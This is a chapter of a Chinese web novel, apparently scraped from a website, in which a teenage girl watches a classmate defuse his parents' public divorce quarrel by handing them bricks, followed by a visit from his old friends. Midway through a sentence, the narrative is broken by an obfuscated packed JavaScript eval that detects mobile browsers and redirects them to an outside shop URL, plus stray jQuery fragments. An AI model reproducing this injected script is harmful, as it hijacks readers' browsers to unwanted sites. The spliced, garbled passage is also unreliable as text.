4. Chapter 4

作品:《祝你明天好

    对于陈其夏来说,2016的农历新年和前十七年并没有什么不同。


    从她有记忆开始,每年都是和陈文在房间里两个人过。


    春晚、年夜饭、对联……不会存在在她们家。


    陈其夏偶尔也会羡慕别人的新年,隔着万家灯火幻想自己未来的生活。


    “去买纸钱,明天上山去看你姐姐。”陈文的声音打断了她的思绪。


    陈其夏放下笔,指尖蹭过微凉的纸面,低低应了声:“好。”


    一推开门,凛冽的寒风就顺着领口往里钻,冻得她下意识缩了缩脖子。抬手捋了捋被风吹乱的刘海,她把双手插进黑色棉袄的口袋,慢悠悠地走在街上。


    陈文买丧葬用品的店不算近,陈其夏每年都是走着去,走着回。


    比起身体感受到的寒意,心理的自由更让她兴奋。


    冬季的夜来的猝不及防。


    陈其夏再次抬头看天,已经变了颜色。


    新年的氛围彩灯照得整条街五彩斑斓。


    直到感受到脸上传来的丝丝凉意,她才发现居然又下雪了。


    雪花随着风飘下来,沾在发梢、落在肩头,转瞬便融成点点湿痕。


    今年的雪好像格外多,她想。


    不等她感慨,尖锐的女声夹杂粗犷的男声吸引她的视线。


    她想若无其事地绕过两人离开,却在看到熟悉地人时蓦地停住脚步。


    余岁聿没想到曲芸把他叫醒,就是为了看她和余则成这出离婚大戏。


    他身上只穿了件单薄的黑色连帽衫,拉链没拉到底,露出一段白皙的脖颈,他的手指被冻的发麻,插在口袋里。


    似乎感受到了风,才抬手“唰”一下拉上拉链,又若无其事地插回口袋。


    他单腿曲起抵着墙面,脑袋歪向一边,耳机线绕在耳后,显然把这场闹剧隔绝在外。


    如果没有听到余岁聿的名字,陈其夏真的以为与他无关。


    “余则成,我告诉你,这婚你离也得离,不离也得离。余岁聿现在学籍在临芜,抚养权归我。”曲芸指着男人的鼻子,妆容精致的脸因愤怒涨得通红,声音尖利得几乎破音。


    “离就离!谁不离谁孙子。”余则成也红了眼,攥着拳头往前凑了半步,“但余岁聿我必须带走,我爸不可能让他孙子在临芜上学。”


    “凭什么你带走?我告诉你余则成……”


    ……


    周围的人越聚越多,余岁聿看两人还没有要结束的意思,他听得耳朵都快起茧。


    他眉头不耐烦地蹙了蹙,嘴角撇出一抹讥诮,“啧”了一声,睁开眼目光扫过争执不休的两人,四处打量着什么。


    陈其夏躲在人群边缘,心脏砰砰直跳,不知道自己算不算撞破了别人的秘密。


    只觉得有些尴尬。


    换做是她,如果被人当众围观和陈文的纠葛,死的心都有。


    转身离开显然不现实。去买东西的路只有这一条,她要离开,就得从三人中间穿过去。


    余岁聿肯定会发现她。


    她的指尖攥地发紧。


    正当她纠结之际,余岁聿早已经看好了趁手的东西。


    他蹬了一脚墙借力起身,连帽衫的帽子滑落,露出一截柔软的黑发。


    他径直走到离陈其夏不远的大槐树下弯腰捡起什么东西,朝着曲芸和余则成走去。


    似乎是觉得不太妥当,他又返回去拿起一个,在手里掂了掂,两手各拿一个,朝着两人走去。


    陈其夏看清了他手里的东西,瞪大了双眼。


    转身回家的脚步此刻也有些迈不开。


    周围人看清他手里的东西瞬间一哄而散,隔着远处观望。


    余岁聿特意选了两个分量差不多的,走到两人跟前,一人一个,“给。”


    他语气平静,好像只是递出两瓶矿泉手让两人中场休息。


    曲芸和余则成的争吵被他打断,下意识想去接他手里的东西,却在看清时顿时变了神色。


    两块砖头。


    “你!”余则成有些骂不出口。


    余岁聿不以为意,挑了挑眉,继续朝两人递道:“一人一块儿。骂着玩儿多没意思,你两互拍。拍死了这辈子就解脱了。”


    “你有病吧?”曲芸抬手想将他的手拍开,却被他死死按住。


    余岁聿懒得和他们掰扯。


    他的指尖冰凉,力道却不小,硬是把砖头塞进了两人怀里。


    “拿着啊,”他语气散漫,眼神里却没半点温度,“拍着玩儿。”


    怀里沉甸甸地东西让两人熄了火。


    倒不是怕自己做出些什么,而是真的有些不相信对方会不会真的情绪上头拿自己的头拍着玩。


    余则成视线在曲芸和余岁聿间来回徘徊,又看了看自己怀里的砖头,脸上只剩难堪。


    他张了张嘴,最后什么也没说,狠狠将砖头砸在地上,骂了句“神经病”拨开人群,头也不回地走了。


    曲芸还想追上去骂,被余岁聿用身体挡住。


    他紧扣着曲芸的手腕暗暗用力。


    “够了吗?”他声音冷淡。


    曲芸还想说什么,却在转身对上他淡漠的视线时熄了火。


    “妈妈不是……”她慌张地想解释什么,被余岁聿打断:“没事你就回去,不要再过来。”


    他冰冷的话语如同重锤,砸断了曲芸的后话。


    耳边又恢复了清静。


    曲芸走得决绝,只留下一句“生活费我打卡上,你记得查”。


    余岁聿低着头,看着脚下两块砖蓦地笑出了声。


    陈其夏愣在原地,抬脚欲走,和余岁聿对上了视线。


    明明两人间隔着些距离,她还是读懂了他眼底的戏谑。


    他问:你看够了吗?


    陈其夏脸有些烫,转身走了两步,察觉不对又返回去快速小跑过去。


    途径余岁聿时,她特地绕开一大圈,给自己留出安全范围。


    余岁聿见她脚步凌乱,三座并作两步追上去抓住了她棉袄的帽子。


    陈其夏不认命地挣扎了几下。


    见他没有松手的意思,终于停了动作,转身低着头不肯看他。


    “看什么呢?”余岁聿问。


    “我不是故意的。”陈其夏有些紧张,“我要去买东西,不是故意的。”


    “看那么久,你也想和我拍着玩儿?”


    他语气散漫,仿佛只是随口一说。


    陈其夏却当了真。盯着脚尖的视线缓缓上移,不可置信地望向他。


    她真的害怕余岁聿和她拿砖拍着玩儿。


    不知道为什么,她的直觉告诉她,余岁聿能做出这样的事。


    余岁聿抑制着自己的嘴角,朝右侧轻轻偏了下头,看似真的在邀请她。


    陈其夏缓缓向后退,脑袋飞快地摇了摇。趁他不注意,一个箭步冲了出去。


    余岁聿看着她匆忙的背影,笑出了声。心底的郁闷一扫而空。


    转身将两块砖放回了原位。


    陈其夏第一次用尽全力奔跑。


    直到看不见余岁聿的身影才停下脚步,大口喘着粗气,呼出的白雾让被风吹得冰凉的脸终于感受到一丝温度。


    她想,现在,其实她也没有那么想和余岁聿交朋友。


    她没有那么想死。


    她平复呼吸,慢慢走向那家总是亮到很晚的丧葬店。买完东西,转身回家时,又下意识地朝那个路口望了一眼。


    雪已经覆盖了刚才的一切痕迹,那两块砖头想必也回到了原位。


    整条街空空荡荡,只有彩灯在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868699|191834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无声闪烁。


    视线瞥到槐树下摞的整齐的砖块,她忽然想起余岁聿刚才那个讥诮又冰冷的眼神,和他说“拍着玩儿”时的散漫。


    陈其夏心里某处微微动了一下,说不清是更怕他了,还是别的什么。


    她裹紧棉袄,踏着雪,慢慢走回了家。


    余岁聿回到家缓了很久,才让被冻得快失温的身体回暖。


    这套房子是曲芸父母生前住的。


    曲芸将他学籍转回来后,就把房子给了他,让他一个人住。


    曲芸和余则成两人缠缠绵绵了十几年,想离婚又不舍得让对方分走自己的钱,更怕对方将钱全部给了新人,余岁聿一分钱没有,就这么互相蹉跎着。


    在外人看来,两人对余岁聿爱得深沉。


    但只有他知道,其实他们只是想用他的存在时刻提醒对方,恶心对方。


    手机铃声再次响起,余岁聿瞥了眼备注,随手接起。


    “喂,怎么了?”他声音有些沙哑。


    电话另一头的男生兴奋道:“干嘛呢?临芜好玩儿不?你真转学啦?你说你走都不跟……”


    余岁聿蹙眉道:“宋至诚,你能说重点吗?”


    “哦。”宋至诚好像真的被他伤到,演起了戏。


    旁边的女生已经按耐不住,看了眼导航的地址,兴奋地叫道:“余岁聿,快下来接我们。”


    余岁聿坐直了身体,问道:“你们来临芜了?”


    宋至诚“切”了一声,“少爷你架子大,抛下我们走了,我们放不下你,只能热脸贴冷屁股来看看你了呗。”


    余岁聿走到阳台,漫天大雪里,楼下赫然站着两个身影。


    他快步走下去将两人接了上来。


    张梧漾抱着热水抱怨道:“你怎么下来那么晚?冻死我俩了。”


    余岁聿瞥了眼她的光腿,缓缓吐出两个字:“活该。”


    “你。”


    见两人又要吵起来,宋至诚连忙阻止,“行了,两位祖宗。我们来是有正事的。”


    余岁聿看两人神神秘秘的样子,靠着餐桌问道:“干嘛?”


    宋至诚用胳膊怼了怼张梧漾,示意她说。


    张梧漾起身在房子里四处转了转,清了清嗓子道:“首都欢迎您。你看你这房子这么小,而且在这里你又没有朋友,肯定不习惯,所以为了怕你孤独,我们来邀请你回家。”


    余岁聿摇了摇头,“我回不去了。”


    “为什么?你爸塞点钱你不就回去了?能转出来他就能转进去。”宋至诚有些激动。


    余岁聿嗤笑一声。


    两人顿时泄了气。


    他们本以为,转学至少是余岁聿知情的。


    现在看来,他也被蒙在鼓里。


    余岁聿当然不知情。


    被曲芸骗着回了老家,然后告诉他以后再也不用回首都了,除非余则成松口先把财产转到他名下。


    余岁聿不想掺合两人的恩怨情仇,自然不想离开自己从小长大的地方。


    曲芸给他开出的条件很诱人:18岁之后,她什么都不管。


    最终换来了余岁聿的妥协。


    宣告着曲芸在和余则成的婚姻里取得了阶段性的胜利。


    张梧漾和宋至诚有些难受。从小一起长大,曲芸和余则成一地鸡毛的婚姻在圈子里早就传了个遍,他们也无能为力。


    窗外灯火闪烁,大年三十悄然来临。


    余岁聿被两人逼着做了顿饭,吃完后两人就叫司机匆匆回了首都。


    “唉,我们会常来看你的。”张梧漾爬在车窗说道,“你千万不能有最好最好的朋友哦。”


    宋至诚白了她一眼,“什么朋友能比得过咱们三个的交情?”


    余岁聿佯装思考,三秒后回道:“女朋友吧。”